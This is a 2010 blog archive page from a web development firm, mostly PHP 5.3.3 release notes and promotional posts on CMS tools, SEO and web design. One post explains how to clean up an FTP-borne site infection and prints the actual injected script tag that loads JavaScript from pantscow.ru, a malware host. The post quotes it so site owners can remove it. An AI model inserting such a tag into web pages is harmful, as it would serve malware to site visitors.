Archive for July, 2010

PHP 5.3.3 Released!


By http://in3.php.net/

The PHP development team would like to announce the immediate availability of PHP 5.3.3. This release focuses on improving the stability and security of the PHP 5.3.x branch with over 100 bug fixes, some of which are security related. All users are encouraged to upgrade to this release.

Backwards incompatible change:

  • Methods with the same name as the last element of a namespaced class name will no longer be treated as constructor. This change doesn’t affect non-namespaced classes.
  • <?php
    namespace Foo;
    class Bar {
        public function Bar() {
            // treated as constructor in PHP 5.3.0-5.3.2
            // treated as regular method in PHP 5.3.3
        }
    }
    ?>

    There is no impact on migration from 5.2.x because namespaces were only introduced in PHP 5.3.

Security Enhancements and Fixes in PHP 5.3.3:

  • Rewrote var_export() to use smart_str rather than output buffering, prevents data disclosure if a fatal error occurs (CVE-2010-2531).
  • Fixed a possible resource destruction issues in shm_put_var().
  • Fixed a possible information leak because of interruption of XOR operator.
  • Fixed a possible memory corruption because of unexpected call-time pass by refernce and following memory clobbering through callbacks.
  • Fixed a possible memory corruption in ArrayObject::uasort().
  • Fixed a possible memory corruption in parse_str().
  • Fixed a possible memory corruption in pack().
  • Fixed a possible memory corruption in substr_replace().
  • Fixed a possible memory corruption in addcslashes().
  • Fixed a possible stack exhaustion inside fnmatch().
  • Fixed a possible dechunking filter buffer overflow.
  • Fixed a possible arbitrary memory access inside sqlite extension.
  • Fixed string format validation inside phar extension.
  • Fixed handling of session variable serialization on certain prefix characters.
  • Fixed a NULL pointer dereference when processing invalid XML-RPC requests (Fixes CVE-2010-0397, bug #51288).
  • Fixed SplObjectStorage unserialization problems (CVE-2010-2225).
  • Fixed possible buffer overflows in mysqlnd_list_fields, mysqlnd_change_user.
  • Fixed possible buffer overflows when handling error packets in mysqlnd.
  • Key enhancements in PHP 5.3.3 include:

    • Upgraded bundled sqlite to version 3.6.23.1.
    • Upgraded bundled PCRE to version 8.02.
    • Added FastCGI Process Manager (FPM) SAPI.
    • Added stream filter support to mcrypt extension.
    • Added full_special_chars filter to ext/filter.
    • Fixed a possible crash because of recursive GC invocation.
    • Fixed bug #52238 (Crash when an Exception occured in iterator_to_array).
    • Fixed bug #52041 (Memory leak when writing on uninitialized variable returned from function).
    • Fixed bug #52060 (Memory leak when passing a closure to method_exists()).
    • Fixed bug #52001 (Memory allocation problems after using variable variables).
    • >Fixed bug #51723 (Content-length header is limited to 32bit integer with Apache2 on Windows).
    • Fixed bug #48930 (__COMPILER_HALT_OFFSET__ incorrect in PHP >= 5.3).

    For users upgrading from PHP 5.2 there is a migration guide available on http://php.net/migration53, detailing the changes between those releases and PHP 5.3.

    For a full list of changes in PHP 5.3.3, see the ChangeLog.

    Garve Technologies is an industry leader in providing bespoke PHP development solutions. It has a team of qualified Joomla developers, WordPress developers and Drupal developers who have solid experience in open source CMS development. Please contact us for more details.

    Read at source

    Website attached by “pantscow.ru” ?


    There is new malware in cyber. If Browsers like Chrome, Mozilla blocks your website

    and showing following massage

    Warning: Visiting this site may harm your computer!

    The website at http://www.yourdomain.com contains elements from the site pantscow.ru, which appears to host malware – software that can hurt your computer or otherwise operate without your consent. Just visiting a site that contains malware can infect your computer.

    For detailed information about the problems with these elements, visit the Google Safe Browsing diagnostic page for pantscow.ru.

    This is malware comes from your FTP; When you connect your Website through infected PC via any FTP client your site gets attached.

    It affects “index” pages and “JavaScripts”

    How to get rid of this?

      1. Change “Password” of your FTP urgently  
      2. open your index files (.html, .asp, .php, etc) and .js files. Go to the bottom of the page you will find the piece of code …. just delete this; and upload those files again

          <script type="text/javascript" src="http://pantscow.ru:8080/Quad-Core.js"></script&gt; <!—ee311b4bc3e441337923f04df3aad248—>

    I hope this will helps you to get a rid of this.

    Drupal: The Perfect CMS Solution


    If you are looking for a versatile CMS software which can be used for any purpose such as a corporate website, a personal website, aficionado sites, social networking site, a gallery, a portal or a simple web property for any specific internal purpose; keeping the functionality simple to handle and maintain then, Drupal is the software which is just meant for you.

    Using Drupal is easy. Being an open source CMS, i.e. its source code can be rendered easily without any fee is in wide demand. Of course, if you want some customization, which everyone needs, then you will be required to hire a company providing Drupal services. You can purchase various themes, modules, extensions and other specific components that are required to provide you a complete website; full of features and desired functionalities.

    Like every other software, Drupal is also written in certain specific coding language and that is, PHP. It is friendly to almost all operating systems such as Windows, MAC, Linux and others. Its database system is MySQL. MySQl is used for storage purpose in Drupal.

    Similar to the other CMS software, even Drupal has its own naming conventions. For example, a ‘node’ is referred to ‘page’ or ‘story’ which is predefined content types in Drupal. This is not all the flexibility of this software allows you to define your own naming conventions. Due to its flexibility and friendliness in developing a web property of your own choice is not at all impossible. The only thing required is your technical knowledge about the software.

    Since, the use of Drupal can ask for heavy resources that is why, it is advisable to use dedicated server, in case, your website is expected to be flooded by traffic. But if your website is not that big and hosts moderate amount traffic then, you can use shared hosting as well.

    Operating the admin panel is not that difficult and you can easily manage the content of your website. Uploading videos, audios, publishing posts, text, contents are the few of the activities which can be handled easily and does not require any technical knowledge. The only difficulty appears while installing the software and integrating it with your web site. But you can hire any Drupal service provider or a company and resolve this problem.

    There can be complexity for non technical person during its installation, but it can be avoided by taking help from videos or tutorials. Or the best way is, if you are planning to prepare a professional website, hire a company which provides Drupal services.

    Garve Technologies is an industry leader in providing bespoke CMS development solutions. It has a team of qualified Joomla developers, WordPress developers and Drupal developers who have solid experience in open source cms development. Please contact us for more details.

    Read at source

    CakePHP- Make PHP development easy.


    CakePHP web development is truly beneficial in creating swift and robust applications. Most mesmerizing features of CakePHP are that it is completely matched with PHP4 and PHP5. In today’s online business open source products have become highly admired because by using them, the developers can create dynamic websites with a great ease. By CakePHP you can get those tailor solution, which you are seeking to match the requirement of your business. CakePHP application development comes as a fresh wind, which allows the developers to save a lot of time due to its specification and well designed instruments. On the other hand by using CakePHP you can easily and instantly create Ecommerce sites, which usually come with a cart of shopping. It is not only capable in providing swift programming but also can render debugging solutions, generate code via Bake etc.

    CakePHP web application development has paved a new way in structural designs for deploying, maintaining and developing applications. It increases the capacity of well structured procedure so that it becomes able to work in PHP. The main and most emphasizing feature of CakePHP is its MVC architecture that stands for Model View Controller Architecture. MVC can basically be divided into three parts: Model, View and Controller. Model stands for data that is accessed by various set of rules. It responds in input state and in queries. View can be defined as the output state that allows the model to be further modified and the controller invokes changes as the outcome of input process in the model.

    CakePHP application development is gaining popularity as it scores over session handling and security measures. CakePHP framework is extremely easy to understand and is extremely compatible with both PHP4 and even with PHP5. CakePHP framework is preferred by most of the programmers and developers as it offers a wide range to tools for effective data validation. As it comes under MIT license, CakePHP framework can be obtained by anyone without having to pay a single penny. Hence, opting for this framework not only guarantees a faster pace but also ensures a considerable reduction in the application development costs.

    Read at source

    Search Engine Optimisation Analysis (SEO) required for your Website?


    By: Charlie

    You can find that the more you know about how your web site is doing online, the better you can improve it. One of the best ways to really know how your web site is doing is by using a free search engine optimisation analysis. With the free service, you can have the professionals review your web site and see what areas are working well with search engine optimisation, and which you should change to help improve how you are getting listed with search engines and do better.

    Getting a free search engine analysis for your website can help you determine what kinds of things you are going to have to change to help improve your listings. It could be a few minor things that you can change that will help make a big difference in how your website is listed. Knowing what these things are can greatly improve how your website does. You may be able to find that there are more ways to use search engine optimization that you had not been using.

    When you are able to see what the professionals suggest that you do to improve the content that you have, and the links that you create, you are able to see the improvements. It can be difficult to try and get everything right when you do it yourself, and if you have not worked on websites before, you may not be aware of everything that you can do. It is best to try and learn ways that you can be using your content and links to get more hits online. With the services that you can use that will give you a free analysis; you are able to see what you can do to start seeing the listings that you need.

    Getting listings that are high in the search engines is important. If your website is not at the top of the listings, people are not going to see you, and they are not going to be able to find your website. Getting to the top of the listings takes some time, but the more that you work with the services available, and get familiar with how to use the information from your free search engine optimisation analysis, you are able to work your way higher.

    It still can be a while before you really start to see the people to your website increasing. Search engine optimization takes a while to build and it takes a while for the search engines to get your website listed. If you want to make the top of the listings, you can help by using the search engine optimization that is suggested by the analysis. If you have not been able to find better ways to use your content and links to appeal to people, the analysis is able to help you find the best ways to reach the people that you need. Targeting groups of people online through your links is one of the best ways to see more people to the website.

    Using the right keywords is also important. If you are using the best keywords that you can, you will see that it can help the listings that you get with the search engines and improve the amount of people that come to your website. If you are not using enough keywords, or if you are using them incorrectly, you may not be listed by the search engines. It is helpful to know what keywords are working for you, and which ones are not so that you know what you have to change.

    The keywords that you use can make a difference in how people are able to find your website. The more links that you place online that contain the keywords, the more that they will be found when searched. One of the best ways to find out what you should be using for keywords is to get the free search engine optimisation analysis. Once you have the information that you need to start, you can choose the right keywords to use, and find the right places online to place them in links.

    You also need to be able to monitor how your website is doing. If you are not sure how each of the keywords that you are using is doing online, you will not be able to see how they are going to help you. Tracking is important and the tools that you need to use are available online.

    At Garve Technologies we have dedicated SEO team, We are expert in Search Engine Optimization. For more details please visit here

    “Title Page” – The Best SEO Practice


    SEO Title Page – As most folks know, one of the things search engines examine is your Page Title, and also the filename of the page (like white-tennis-shoes.html for example), to help them figure out what your page is about, so that they can serve it up to somebody looking for just that thing.

    As far as search engine optimization (SEO) goes, a file or page name like this_is_a_file_name.htm will appear as one word to search engines like thisisafilename. So its unlikely it’ll be picked up in searches.

    However, if you use hyphens instead of underscores like this-is-a-better-file-name.htm search engines will read it as this is a better file name thereby greatly increasing readability and search ability.

    Here are some tips on SEO page tittles:

    Google shows the first 60 to 70 characters in the search results. Make sure your important keywords occur early in the page title for scan-ability. If your title goes beyond 70 characters Google may cut off the title before 69 characters and display … at the end of your page title.

    Rather than making your page title just the keyword and/or starting your page title with the keyword, sometimes it helps to add in a descriptive modifier before your core keyword. This helps ensure your page is less likely to get filtered out of the search results (and thus makes your rankings more stable) while helping you rank for additional terms.

    Page titles are used to draw in clicks from search results amongst many anonymous competing offers, thus they present an opportunity to differentiate yourself from the competition and qualify prospects to your offer. Good titles evoke an emotional response, ask a question, or promise something (that the landing page fulfills).

    Since the page title is one of the few elements search engines can show searchers before sending them to your site, they place significant weight on the words in the page title. In addition, some people link to pages using their official page title as the link anchor text.

    Page titles should be differentiated from page to page on your site. Unless limited by the size and scope of your site, it is best not to have all your page titles follow the exact same formula across your site. You also should not use the same keyword at or near the start of every page title. The format, order, and word selection of the words in your page title should be (at least slightly) different than the words in your meta description and on page headers.

    If you have a strong brand you may want to place it at the end of your page title. If you have one of the leading trusted Internet brands (Amazon, eBay, etc.) then it might make sense to place your brand at the start of the page title. In most cases the page title should still be more focused on the page copy and searcher’s intent than on your brand.

    Search engine are becoming better and better at listing the best sites at the top of the search results and at weeding out sites that employ shady tactics. Focus on building great content first. Success tends to follow.

    Read at source

    At Garve Technologies we have dedicated SEO team, We are expert in Search Engine Optimization. For more details please visit here

    Designing an Effective Website


    Learning how to design effective websites is definitely a skill that requires a little bit of trail and error. No one can create an effective web design in their first try as there are many different factors that need to be considered before you can even think your designing process is complete. A true web design company is the one that designs customer-centric websites. The customer and online visitors are the most important thing to remember as they are the ones who will be using your website and are possibly looking to purchase your product, catering to them is what provides you with success.

    First and foremost you want your site to be easy to navigate. If your customers cannot find what they are looking for and cannot figure out what you are trying to sell than you have not created an effective website design. Follow some of these easy tips below to get your new website on the right track.

    Go through to your competitor’s websites and see what types of designs they are using. This is not giving you permission to copy anyone’s website it is just a way to get your mind working and start the ideas flowing. When you see how others are using their web designs you can see their failures and their unique successes and try and take your own spin on these different features.

    You may think that the last thing people want to do online is read, but the fact is they want to know what they are buying before they buy it and if your site does not have enough information on it; odds are they will not buy. This is a great feature for any webs design as you can not only provide your customers with information but you can use keywords to get higher rankings throughout this content as well.

    You must think ahead to the type of web hosting you are going to use and make sure your website is not exceeding the sizes available through shared hosting packages.

    Clear and crisp images and colors is a great way to get your customer’s attentions. There is nothing better than a professional looking web design to make your customers feel comfortable in your product as they are already impressed with your website.

    As you can see designing an effective website is not how you think it should be; creating the cool and fun flash images everyone loves. You have to make the website easy to navigate and more importantly great converting. If your customers can’t find their way through your website than you are not going to be successful and you will know this only a few days after you launch your site whether your web design was successful or not.

    Take the time to plan out your website; although you can always change it later, getting it right the first try is possible when you take the time to plan out each and every detail. It does make a difference where the buy links are on the page and how big the header is and how much content there is on the homepage. All of these details make a difference in a successful web design. Website Development can seem like an overwhelming task but there are specialized and experienced web development companies on the web today that can help you get started and share their tips with you during creation. There is no one way to create a website, but there are certain marketing and design techniques that should be followed in order to create a website that converts right off the bat.

    Our web design solutions include:

    Ecommerce Website Design: Sell your products/services/events online using custom built shopping cart based website or integrate a shopping cart with your existing site.

    Flash Website Design: Beautiful websites and intro pages designed using Flash.

    Corporate Website Design: Holistic website design solutions with original style, dynamic backend, clear graphics, robust databases and search engine.

    CMS (Content Management System) Website Design: Easy to use backend for publishing content on the website, you can maintain your website content with ease, never letting it get obsolete due to technical difficulties.

    At Garve Technology we are expert at Web Designing and we work in major Framworks. Please contact us for more details.